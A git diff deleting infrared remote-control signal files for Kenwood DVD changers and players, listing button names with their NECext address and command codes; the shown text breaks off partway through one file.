a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: @ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 40 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 41 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 42 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 43 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 44 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 45 00 00 00 -# -name: F -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 46 00 00 00 -# -name: G -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 47 00 00 00 -# -name: H -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 48 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 49 00 00 00 -# -name: J -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4A 00 00 00 -# -name: K -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4B 00 00 00 -# -name: L -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4C 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4D 00 00 00 -# -name: N -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4E 00 00 00 -# -name: O -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4F 00 00 00 -# -name: P -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 50 00 00 00 -# -name: Q -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 51 00 00 00 -# -name: R -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 52 00 00 00 -# -name: S -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 53 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 54 00 00 00 -# -name: U -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 55 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 56 00 00 00 -# -name: W -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 57 00 00 00 -# -name: X -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 58 00 00 00 -# -name: Z -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 5A 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 5E 00 00 00 -# -name: & -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 5F 00 00 00 -# -name: SPACE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 80 00 00 00 -# -name: ! -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 81 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 83 00 00 00 -# -name: $ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 84 00 00 00 -# -name: ( -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 88 00 00 00 -# -name: ) -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 89 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8A 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8B 00 00 00 -# -name: _ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8D 00 00 00 -# -name: : -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 9A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir deleted file mode 100644 index 820f84929..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir +++ /dev/null @@ -1,974 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 00 00 00 00 -# -name: 0_/X -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 01 00 00 00 -# -name: 1_/K -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 02 00 00 00 -# -name: 2_/L -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 03 00 00 00 -# -name: 3_/M -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 04 00 00 00 -# -name: 4_/O -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 05 00 00 00 -# -name: 5_/P -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 06 00 00 00 -# -name: 6_/Q -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 07 00 00 00 -# -name: 7_/S -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 08 00 00 00 -# -name: 8_/T -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 09 00 00 00 -# -name: 9_/U -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 09 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0A 00 00 00 -# -name: Y_/+10 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0A 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0B 00 00 00 -# -name: W_+100 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0B 00 00 00 -# -name: +_100 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0B 00 00 00 -# -name: MAIN_ACTIVE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0C 00 00 00 -# -name: MAIN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0C 00 00 00 -# -name: SUB1 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0D 00 00 00 -# -name: SUB_1 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0D 00 00 00 -# -name: SUB2 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0E 00 00 00 -# -name: SUB_2 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0E 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 11 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 12 00 00 00 -# -name: PAUSE/SPACE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 12 00 00 00 -# -name: SPACE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 12 00 00 00 -# -name: >PLAY -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 13 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 13 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 13 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: REW/DELETE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 15 00 00 00 -# -name: FF/CHARAC -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 15 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 15 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 15 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 15 00 00 00 -# -name: CHARACTER -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 15 00 00 00 -# -name: <<<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 16 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 16 00 00 00 -# -name: /<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 16 00 00 00 -# -name: PREVIOUS_TRACK -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 16 00 00 00 -# -name: >>>> -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 17 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 17 00 00 00 -# -name: >>/ -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 17 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 17 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 19 00 00 00 -# -name: B._/REPEAT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 19 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1A 00 00 00 -# -name: CLEAR_/N -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1A 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1A 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1B 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1C 00 00 00 -# -name: P.MODE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1F 00 00 00 -# -name: PGM_/J -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1F 00 00 00 -# -name: P._MODE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1F 00 00 00 -# -name: PROGRAM_(PGM) -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1F 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 40 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 43 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 43 00 00 00 -# -name: DISC_SEL -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4C 00 00 00 -# -name: DISC_SEL._/G -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4C 00 00 00 -# -name: DISC_SEL. -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4C 00 00 00 -# -name: DISC_UP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4D 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4D 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4D 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4D 00 00 00 -# -name: DIC_DOWN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4E 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4E 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4E 00 00 00 -# -name: A-_/RANDOM -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4F 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 51 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 52 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 53 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 54 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 55 00 00 00 -# -name: STEP_- -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 58 00 00 00 -# -name: STEP_+ -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 59 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 5A 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 5B 00 00 00 -# -name: TIME_DISP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 5E 00 00 00 -# -name: TIME_/I -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 5E 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 5F 00 00 00 -# -name: D'_PLUS1 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 80 00 00 00 -# -name: PLUS_1 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 80 00 00 00 -# -name: E(_PLUS2 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 81 00 00 00 -# -name: PLUS_2 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 81 00 00 00 -# -name: F)_PLUS3 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 82 00 00 00 -# -name: PLUS_3 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 82 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 88 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 89 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 8C 00 00 00 -# -name: DISP._/H -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 8C 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 8C 00 00 00 -# -name: DISP._BRIGHTNESS -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 8C 00 00 00 -# -name: ALL_DATA_READ -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 8F 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 90 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 91 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 91 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 91 00 00 00 -# -name: TITLE_INPUT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 92 00 00 00 -# -name: USER_FILE_NAME -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 95 00 00 00 -# -name: TEXT_DISP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 96 00 00 00 -# -name: ALL_INFO -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 97 00 00 00 -# -name: T.SEARCH -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 98 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C0 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C0 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C1 00 00 00 -# -name: TOP_MENU/FOLDER -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C1 00 00 00 -# -name: TOP_MENU/FOLDER_SEAR -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C1 00 00 00 -# -name: MP3_FOLDER_SEARCH -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C1 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C2 00 00 00 -# -name: MENU/FILE_S. -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C2 00 00 00 -# -name: FILE_SEARCH_/_MENU -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C2 00 00 00 -# -name: MP3_FILE_SEARCH -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C2 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C3 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C4 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C5 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C6 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C8 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C9 00 00 00 -# -name: C/_AUDIO -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C9 00 00 00 -# -name: P.B.C. -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CB 00 00 00 -# -name: P.AUDIO -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CC 00 00 00 -# -name: PURE_AUDIO_/R -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CC 00 00 00 -# -name: PURE_AUDIO -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CC 00 00 00 -# -name: SQ.MODE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CD 00 00 00 -# -name: SEQ._MODE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CD 00 00 00 -# -name: DISC_FLIP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CE 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CF 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D1 00 00 00 -# -name: /\_/V_SEQ._PAGE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D1 00 00 00 -# -name: SEQ._PAGE_UP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D1 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D2 00 00 00 -# -name: \/_/Z_SEQ.PAGE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D2 00 00 00 -# -name: SEQ_PAGE_DOWN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D2 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D3 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D3 00 00 00 -# -name: INDEX_+ -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D4 00 00 00 -# -name: INDEX_- -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D5 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D6 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D6 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D7 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D7 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D8 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D8 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D9 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir deleted file mode 100644 index 12270644f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: @ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 40 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 41 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 42 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 43 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 44 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 45 00 00 00 -# -name: F -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 46 00 00 00 -# -name: G -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 47 00 00 00 -# -name: H -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 48 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 49 00 00 00 -# -name: J -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4A 00 00 00 -# -name: K -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4B 00 00 00 -# -name: L -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4C 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4D 00 00 00 -# -name: N -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4E 00 00 00 -# -name: O -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4F 00 00 00 -# -name: P -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 50 00 00 00 -# -name: Q -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 51 00 00 00 -# -name: R -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 52 00 00 00 -# -name: S -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 53 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 54 00 00 00 -# -name: U -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 55 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 56 00 00 00 -# -name: W -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 57 00 00 00 -# -name: X -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 58 00 00 00 -# -name: Z -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 5A 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 5E 00 00 00 -# -name: & -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 5F 00 00 00 -# -name: SPACE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 80 00 00 00 -# -name: ! -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 81 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 83 00 00 00 -# -name: $ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 84 00 00 00 -# -name: ( -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 88 00 00 00 -# -name: ) -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 89 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8A 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8B 00 00 00 -# -name: _ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8D 00 00 00 -# -name: : -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 9A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir deleted file mode 100644 index c726e2116..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir +++ /dev/null @@ -1,998 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 00 00 00 00 -# -name: 0_/X -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 01 00 00 00 -# -name: 1_/K -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 02 00 00 00 -# -name: 2_/L -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 03 00 00 00 -# -name: 3_/M -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 04 00 00 00 -# -name: 4_/O -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 05 00 00 00 -# -name: 5_/P -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 06 00 00 00 -# -name: 6_/Q -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 07 00 00 00 -# -name: 7_/S -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 08 00 00 00 -# -name: 8_/T -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 09 00 00 00 -# -name: 9_/U -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 09 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0A 00 00 00 -# -name: Y_/+10 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0A 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0B 00 00 00 -# -name: W_+100 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0B 00 00 00 -# -name: +_100 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0B 00 00 00 -# -name: MAIN_ACTIVE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0C 00 00 00 -# -name: MAIN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0C 00 00 00 -# -name: SUB1 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0D 00 00 00 -# -name: SUB_1 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0D 00 00 00 -# -name: SUB2 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0E 00 00 00 -# -name: SUB_2 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 0E 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 11 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 12 00 00 00 -# -name: PAUSE/SPACE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 12 00 00 00 -# -name: SPACE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 12 00 00 00 -# -name: >PLAY -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 13 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 13 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: REW/DELETE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 14 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 15 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 15 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 15 00 00 00 -# -name: FF/CHARAC -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 15 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 15 00 00 00 -# -name: CHARACTER -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 15 00 00 00 -# -name: <<<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 16 00 